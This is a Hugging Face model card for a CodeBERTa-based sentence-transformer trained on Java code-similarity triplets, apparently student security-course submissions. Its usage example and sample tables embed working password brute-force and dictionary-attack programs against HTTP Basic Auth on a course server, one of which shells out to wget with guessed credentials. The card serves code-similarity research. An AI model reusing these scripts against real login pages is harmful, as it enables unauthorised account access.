CoolFace
Modelpublic

buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2

sourceHugging Faceupdated 1y agoView on Hugging Face
0likes70downloads
Model Card

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: huggingface/CodeBERTa-small-v1 <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity
  • Training Dataset:
  • soco_train_java <!-- - Language: Unknown --> <!-- - License: Unknown -->

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

bash
pip install -U sentence-transformers

Then you can load this model and run inference.

python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2")
# Run inference
sentences = [
    '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n   private final static char base64Array [] = {\n          \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n          \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n          \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n          \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n          \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n          \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n          \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n          \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n     };\n\n   public static String encode (String string)\n   {\n      String encodedString = "";\n      byte bytes [] = string.getBytes ();\n      int i = 0;\n      int pad = 0;\n      while (i < bytes.length)\n      {\n         byte b1 = bytes [i++];\n         byte b2;\n         byte b3;\n         if (i >= bytes.length)\n         {\n            b2 = 0;\n            b3 = 0;\n            pad = 2;\n         }\n         else\n         {\n            b2 = bytes [i++];\n            if (i >= bytes.length)\n            {\n               b3 = 0;\n               pad = 1;\n            }\n            else\n               b3 = bytes [i++];\n         }\n\n         byte c1 = (byte)(b1 >> 2);\n         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n         byte c4 = (byte)(b3 & 0x3f);\n         encodedString += base64Array [c1];\n         encodedString += base64Array [c2];\n         switch (pad)\n         {\n            case 0:\n               encodedString += base64Array [c3];\n               encodedString += base64Array [c4];\n               break;\n            case 1:\n               encodedString += base64Array [c3];\n               encodedString += "=";\n               break;\n            case 2:\n               encodedString += "==";\n               break;\n         }\n      }\n      return encodedString;\n   }\n}\n',
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     BruteForce a = new BruteForce();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     int attempts = 0;\n     exit:\n     for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n     \t\t\t a.doit(inp);\n  \n  \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n     \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n      }\n     }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char pwdArray [] = {\n\t        \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t        \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t        \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t        \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t        \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t        \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t        \'W\', \'X\', \'Y\', \'Z\', \' \'\n  };\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    '\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n            for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n                for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t    exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8890, 0.4446],
#         [0.8890, 1.0000, 0.4257],
#         [0.4446, 0.4257, 1.0000]])

<!--

Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details> -->

<!--

Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details> -->

<!--

Out-of-Scope Use

List how the model may foreseeably be misused and address what users ought not to do with the model. -->

<!--

Bias, Risks and Limitations

What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. -->

<!--

Recommendations

What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. -->

Training Details

Training Dataset

socotrainjava
  • Dataset: soco_train_java at 44ca4ff
  • Size: 34,368 training samples
  • Columns: <code>anchorcode</code>, <code>positivecode</code>, and <code>negative_code</code>
  • Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negative_code | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | <ul><li>min: 51 tokens</li><li>mean: 465.94 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 466.25 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.71 tokens</li><li>max: 512 tokens</li></ul> |
  • Samples: | anchorcode | positivecode | negativecode | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | <code>import java.util.*;<br>import java.io.*;<br><br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main(String args[]) {<br> DataInputStream newin;<br><br> try{<br><br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() != null){<br> System.out.println("Sending Mail");<br> ...</code> | <code>import java.util.*;<br>import java.io.*;<br>import javax.swing.text.html.*;<br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main (String args[]) {<br> DataInputStream newin;<br><br> try{<br> System.out.println("ishti");<br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private char [] password = {'A', 'A', 'A'};<br> private int noLetters = 3;<br><br> <br><br> public BruteForce() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e)...</code> | | <code>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> boolean connected = false;<br> int counter;<br> String[] chars = {"a","b","c","d","e","f","g","h",<br> "i","j","k","l","m","n","o","p",<br> "q","r","s","t","u","v","w","x",<br> "y","z","A","B","C","D","E","F",<br> "G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V",<br> "W","X","Y","Z"};<br> Vector combinations = new Vector();<br> <br> BruteForce()<br> {<br> counter = 0;<br> this.genCombinations();<br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.combinations.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)combinations.elementAt(counter-1));<br> counter = combinations.size(...</code> | <code>import java.util.*;<br>import java.net.*;<br>import java.io.*; <br><br>public class Dictionary<br>{<br> boolean connected = false;<br> int counter;<br> <br> Vector words = new Vector();<br> <br> Dictionary()<br> {<br> counter = 0;<br> this.readWords(); <br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.words.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)words.elementAt(counter-1));<br> counter = words.size();<br> }<br> }<br> }<br> <br><br> public void readWords()<br> {<br> String line;<br><br> try<br> {<br> BufferedReader buffer = new BufferedReader(<br> new FileReader("/usr/share/lib/dict/words"));<br> <br> line = buffer.readLine();<br><br> while(line != null)<br> {<br><br> if(line.length() <= 3)<br> ...</code> | <code>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> public BruteForce(String u,String uname) throws Exception<br> {<br> String pass="";<br> try<br> {<br> String []chr={"a","b","c","d","e","f","g","h","i","j",<br> "k","l","m","n","o","p","q","r","s","t",<br> "u","v","w","x","y","z","A","B","C","D",<br> "E","F","G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V","W","X","Y","Z"};<br> URL url=new URL(u);<br> PasswordAuthentication pa;<br> MyAuthenticator =new MyAuthenticator();<br> HttpURLConnection h;<br> int c=0;<br> for(int i=1;i<=52;i++)<br> {<br> c++;<br> pass=""+chr[i-1];<br> pa=new PasswordAuthentication(uname,pass.toCharArray());<br> h.setPasswordAuthentication(pa);<br> Authenticator.setDefault();<br> h=(HttpURLConnection)url.openConnection();<br> h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));<br>System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");<br> if(h.getResponseCode() != 401)<br> throw...</code> | | <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br><br>public class ReadFile<br>{<br> private StringTokenizer tokenizer;<br> private BufferedReader bf;<br> private String line;<br> private String first;<br> Vector in = new Vector();<br> <br> public void loadFile()throws NoSuchElementException, IOException<br> {<br> System.out.println("in loadFile");<br> try{<br> bf = new BufferedReader(new FileReader("words"));<br> }<br> catch(FileNotFoundException fe){}<br> catch(IOException io){}<br> while((line = bf.readLine())!=null)<br> {<br><br> int index = 0;<br> tokenizer = new StringTokenizer(line);<br> try<br> {<br> first = tokenizer.nextToken();<br> <br> <br> if (first.length() == 3)<br> {<br> in.add(first);<br> }<br> }<br> catch(NoSuchElementException n)<br> {<br> System.out.println("File Loaded Succesfully");<br><br> }<br><br> }<br> }<br> public Vector getVector()<br> {<br> return in;<br>...</code> | <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br>public class makePasswords<br>{<br> public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",<br> "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...</code> | <code>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.BufferedOutputStream;<br>import java.io.BufferedReader;<br>import java.io.FileInputStream;<br>import java.io.FileNotFoundException;<br>import java.io.FileOutputStream;<br>import java.io.FileReader;<br>import java.io.IOException;<br>import java.io.OutputStream;<br><br><br>public class WatchDog<br>{<br> protected final int MILLISINHOUR = (60 * 60 * 1000);<br> protected int interval = 24;<br> protected String URL = "http://www.cs.rmit.edu./students/";<br> protected String fileName = "WatchDogContent.html";<br> protected String command = "./alertmail.sh";<br> protected String savedContent;<br> protected String retrievedContent;<br><br> <br> public WatchDog()<br> {<br> super();<br> }<br><br> <br> public void run() throws Exception<br> {<br> HttpRequestClient client = null;<br> <br> <br> System.out.println(getClass().getName() +<br> "Retrieving baseline copy of: " + getURL());<br> client = new HttpRequestClie...</code> |
  • Loss: <code>CachedMultipleNegativesRankingLoss</code> with these parameters:
json
  {
      "scale": 20.0,
      "similarity_fct": "cos_sim",
      "mini_batch_size": 32,
      "gather_across_devices": false
  }

Evaluation Dataset

socotrainjava
  • Dataset: soco_train_java at 44ca4ff
  • Size: 8,592 evaluation samples
  • Columns: <code>anchorcode</code>, <code>positivecode</code>, and <code>negative_code</code>
  • Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negative_code | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | <ul><li>min: 51 tokens</li><li>mean: 465.22 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.66 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.05 tokens</li><li>max: 512 tokens</li></ul> |
  • Samples: | anchorcode | positivecode | negative_code | |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | <code><br><br><br><br><br><br>import java.util.;<br>import java.io.;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.;<br>import java.io.;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.; <br>import java.io.; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES100060;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> | | <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.;<br>import java.io.;<br>import java.Ostermiller.util.;<br>import java.util.;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> | | <code>import java.io.;<br>import java.net.;<br>import java.util.;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.;<br>import java.net.;<br>import java.util.;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.;<br>import java.net.;<br>import java.util.;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> 